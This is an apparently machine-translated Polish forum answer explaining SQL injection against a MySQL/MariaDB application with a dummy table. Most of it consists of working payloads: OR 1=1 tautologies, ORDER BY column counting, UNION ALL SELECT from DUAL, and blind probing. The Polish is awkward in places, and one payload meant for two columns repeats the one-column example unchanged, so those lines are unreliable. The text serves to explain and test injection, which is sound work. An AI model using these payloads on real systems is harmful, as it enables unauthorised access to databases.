Ok, więc bawmy się dobrze.
Kiedy patrzę na komunikat o błędzie
Zakładam, że zapytanie i kod w aplikacji są mniej więcej podobne do tego pseudomądrego, @o
jest w rzeczywistości zmienną użytkownika MySQL..
SELECT
*
FROM
DUMMY_TABLE
WHERE
DUMMY_TABLE.o = '",@o,"'
LIMIT 10
Użyję skrzypiec SQL spacji aby zasymulować test iniekcji SQL i uzyskać dostęp do innych tabel.
Możesz przetestować wstrzyknięcie za pomocą 1' OR 1 = 1#
lub 1' OR 1 = 1--
oba powinny działać i powinny dawać ten sam wynik, gdy używasz 1
jako dane wejściowe. Dzieje się tak, ponieważ MariaDB automatycznie rzutuje typy dla innych baz danych, może być konieczne użycie bardziej rygorystycznej wersji 1' OR '1' = '1#
Który powinien generować
SELECT * FROM DUMMY_TABLE WHERE DUMMY_TABLE.o = '1' OR 1 = 1#' LIMIT 10
Lub
SELECT * FROM DUMMY_TABLE WHERE DUMMY_TABLE.o = '1' OR 1 = 1--' LIMIT 10
Następnie, ponieważ widzisz błędy w aplikacji, możesz użyć ORDER BY 1
aby sprawdzić, ile kolumn zostało wybranych i zwiększać liczbę, aż pojawi się błąd.
Błąd:ER_BAD_FIELD_ERROR:Nieznana kolumna „2” w „klauzuli zamówienia”
Wstrzyknij za pomocą
1' ORDER BY 1#
lub 1' ORDER BY 1--
Co oznacza sortowanie w pierwszej kolumnie w zestawie wyników NIE sortuj 1
dosłowne.
Generuje
SELECT * FROM DUMMY_TABLE WHERE DUMMY_TABLE.o = '1' ORDER BY 1#' LIMIT 10
Lub
SELECT * FROM DUMMY_TABLE WHERE DUMMY_TABLE.o = '1' ORDER BY 1--' LIMIT 10
Znając kolumny, możesz użyć UNION
dostać się do innych stolików. Użyj NULL
jeśli nie potrzebujesz wszystkich kolumn.
wtrysk
1' UNION ALL SELECT NULL FROM DUAL#
Zwróć uwagę, że DUAL
jest „wirtualną” nieistniejącą tabelą w MariaDB, MySQL i Oracle, jeśli możesz zapytać o tę „tabelę”, oznacza to, że możesz również technicznie dostać się do innych tabel.
wygenerowany SQL
SELECT * FROM DUMMY_TABLE WHERE DUMMY_TABLE.o = '1' UNION ALL SELECT NULL FROM DUAL#' LIMIT 10
A jeśli strona jest zaprojektowana jako strona „szczegółów”, na której jeden rekord jest zawsze widoczny, musisz dodać LIMIT 1, 1
we wstrzyknięciu.
Co jeśli nie ma widocznych błędów w aplikacji internetowej, powinieneś po prostu być w stanie ślepo bruteforce geuss za pomocą ślepych wstrzyknięć SQL i zobaczyć, jak działa aplikacja.
Wypróbuj też takie rzeczy jak ?o=0
, ?o=NULL
lub bardzo wysokie liczby, takie jak maksymalna wartość INT (podpisana) ?o=2147483647
lub (bez znaku) ?o=4294967295
przed próbą bruteforce numeru użytej kolumny, aby wiedzieć, jak aplikacja obsługuje rekordy, których nie można znaleźć. Ponieważ jest bardzo mało prawdopodobne, aby identyfikator 0
lub wysokie liczby w INT
datatype, ponieważ aplikacja przestanie działać, jeśli zostanie podana ostatnia liczba. Jeśli nadal otrzymujesz rekord z tymi wysokimi liczbami, użyj maksymalnych wartości dla BIGINT
zamiast tego typu danych.
Dla kolumny 1 ten sam identyfikator wyniku o=1
1' UNION ALL SELECT 1 FROM DUAL LIMIT 1, 1#
W przypadku kolumn 2, w których wystąpi błąd, ale najprawdopodobniej zobaczysz stronę błędu lub komunikat, że rekord nie został znaleziony.
Lub słodki stan błędu HTTP 404 (Nie znaleziono). 1' UNION ALL SELECT 1 FROM DUAL LIMIT 1, 1#
Jeden problem, który możesz napotkać, używając LIMIT
bez użycia ORDER BY
może być szansa na uzyskanie tych samych rekordów, ponieważ standard SQL określa, że tabele/zestawy wyników SQL są bez kolejności bez użycia ORDER BY
Więc idealnie musisz nadal używać ORDER BY 1
w brutalnych siłach.
1' UNION ALL SELECT 1 FROM DUAL ORDER BY 1 DESC#
I
1' UNION ALL SELECT 1 FROM DUAL ORDER BY 1 DESC LIMIT 1, 1#
Obsługa baz danych dla ORDER BY 1
jest lepszy niż myślałem na początku, ponieważ działa w MySQL, MariaDB, SQL Server (MSSQL) i PostgreSQL.
Również ORDER BY 1
była funkcją SQL 92, która została usunięta w SQL 99.
Tak więc bazy danych SQL nie powinny wykonywać ORDER BY 1
więcej, jeśli będą postępować zgodnie ze standardami SQL w tym punkcie.
SQL 92 BNF
<sort specification list> ::=
<sort specification> [ { <comma> <sort specification> }... ]
<sort specification> ::=
<sort key> [ <collate clause > ] [ <ordering specification> ]
<sort key> ::=
<column name>
| <unsigned integer> # <- here it is
<ordering specification> ::= ASC | DESC
w porównaniu z SQL 1999 BNF
<sort specification list> ::=
<sort specification> [ { <comma> <sort specification> }... ]
<sort specification> ::=
<sort key> [ <collate clause > ] [ <ordering specification> ]
<sort key> ::=
<column name>
# <- missing
<ordering specification> ::= ASC | DESC